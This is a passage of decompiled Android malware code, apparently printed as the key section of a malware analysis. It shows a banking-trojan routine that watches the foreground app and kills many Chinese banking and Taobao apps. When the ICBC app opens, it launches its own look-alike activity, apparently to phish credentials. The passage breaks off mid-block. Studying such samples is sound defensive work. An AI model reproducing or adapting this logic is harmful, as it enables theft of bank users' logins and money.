Server.smali 反编译后的关键代码
{
ComponentName localComponentName = ((ActivityManager.RunningTaskInfo)p.getRunningTasks(
1
).get(
0
)).topActivity;
ActivityManager localActivityManager = (ActivityManager)getSystemService(
"activity"
);
String str = localComponentName.getClassName();
if
((str.contains(
"gs.gs"
)) || (str.contains(
"js.js"
)) || (str.contains(
"jt.jt"
)) || (str.contains(
"tb.tb"
)) || (str.contains(
"dz.dz"
)))
{
if
(a(getApplicationContext(),
"com.icbc"
))
localActivityManager.restartPackage(
"com.icbc"
);
if
(a(getApplicationContext(),
"com.chinamworld.main"
))
localActivityManager.restartPackage(
"com.chinamworld.main"
);
if
(a(getApplicationContext(),
"com.bankcomm"
))
localActivityManager.restartPackage(
"com.bankcomm"
);
if
(a(getApplicationContext(),
"com.taobao.taobao"
))
localActivityManager.restartPackage(
"com.taobao.taobao"
);
if
(a(getApplicationContext(),
"com.android.bankabc"
))
localActivityManager.restartPackage(
"com.android.bankabc"
);
if
(a(getApplicationContext(),
"cmb.pb"
))
localActivityManager.restartPackage(
"cmb.pb"
);
if
(a(getApplicationContext(),
"com.rytong.bankgdb"
))
localActivityManager.restartPackage(
"com.rytong.bankgdb"
);
if
(a(getApplicationContext(),
"com.cib.bankcib"
))
localActivityManager.restartPackage(
"com.cib.bankcib"
);
if
(a(getApplicationContext(),
"com.rytong.bankps"
))
localActivityManager.restartPackage(
"com.rytong.bankps"
);
if
(a(getApplicationContext(),
"cn.com.njcb.android.mobilebank"
))
localActivityManager.restartPackage(
"cn.com.njcb.android.mobilebank"
);
if
(a(getApplicationContext(),
"com.ecitic.bank.mobile"
))
localActivityManager.restartPackage(
"com.ecitic.bank.mobile"
);
if
(a(getApplicationContext(),
"com.cebbank.bankebb"
))
localActivityManager.restartPackage(
"com.cebbank.bankebb"
);
if
(a(getApplicationContext(),
"cn.com.cmbc.mbank"
))
localActivityManager.restartPackage(
"cn.com.cmbc.mbank"
);
if
(a(getApplicationContext(),
"cn.com.spdb.mobilebank.per"
))
localActivityManager.restartPackage(
"cn.com.spdb.mobilebank.per"
);
if
(a(getApplicationContext(),
"com.pingan.pabank.activity"
))
localActivityManager.restartPackage(
"com.pingan.pabank.activity"
);
if
(a(getApplicationContext(),
"com.gzrcb.mobilebank"
))
localActivityManager.restartPackage(
"com.gzrcb.mobilebank"
);
if
(a(getApplicationContext(),
"cn.com.cqb.mobilebank.per"
))
localActivityManager.restartPackage(
"cn.com.cqb.mobilebank.per"
);
if
(a(getApplicationContext(),
"com.chinamworld.bocmbci"
))
localActivityManager.restartPackage(
"com.chinamworld.bocmbci"
);
if
(a(getApplicationContext(),
"com.rytong.app.bankhx"
))
localActivityManager.restartPackage(
"com.rytong.app.bankhx"
);
if
(a(getApplicationContext(),
"com.csii.huzhou.mobilebank"
))
localActivityManager.restartPackage(
"com.csii.huzhou.mobilebank"
);
if
(a(getApplicationContext(),
"cn.com.shbank.mper"
))
localActivityManager.restartPackage(
"cn.com.shbank.mper"
);
if
(a(getApplicationContext(),
"com.rytong.bankqd"
))
localActivityManager.restartPackage(
"com.rytong.bankqd"
);
if
(a(getApplicationContext(),
"com.tlbank"
))
localActivityManager.restartPackage(
"com.tlbank"
);
if
(a(getApplicationContext(),
"com.sookin.scyh"
))
localActivityManager.restartPackage(
"com.sookin.scyh"
);
if
(a(getApplicationContext(),
"cn.com.hzb.mobilebank.per"
))
localActivityManager.restartPackage(
"cn.com.hzb.mobilebank.per"
);
if
(a(getApplicationContext(),
"com.chinamworld.klb"
))
localActivityManager.restartPackage(
"com.chinamworld.klb"
);
}
if
(str.contains(
"icbc"
))
{
Cursor localCursor27 = c.a(
"yh"
,
new
String[] {
"_id"
,
"mc"
,
"jilu"
},
"mc=?"
,
new
String[] {
"gs"
},
null
,
null
,
null
);
if
((localCursor27.moveToFirst()) && (localCursor27.getInt(localCursor27.getColumnIndex(
"jilu"
)) ==
0
))
{
localActivityManager.restartPackage(
"com.icbc"
);
new
Intent(
"android.intent.action.MAIN"
);
Intent localIntent53 =
new
Intent(
"android.intent.action.MAIN"
);
localIntent53.setFlags(
268435456
);
localIntent53.addCategory(
"android.intent.category.HOME"
);
startActivity(localIntent53);
Intent localIntent54 =
new
Intent(getApplicationContext(), gs.
class
);
localIntent54.setFlags(
268435456
);
startActivity(localIntent54);
}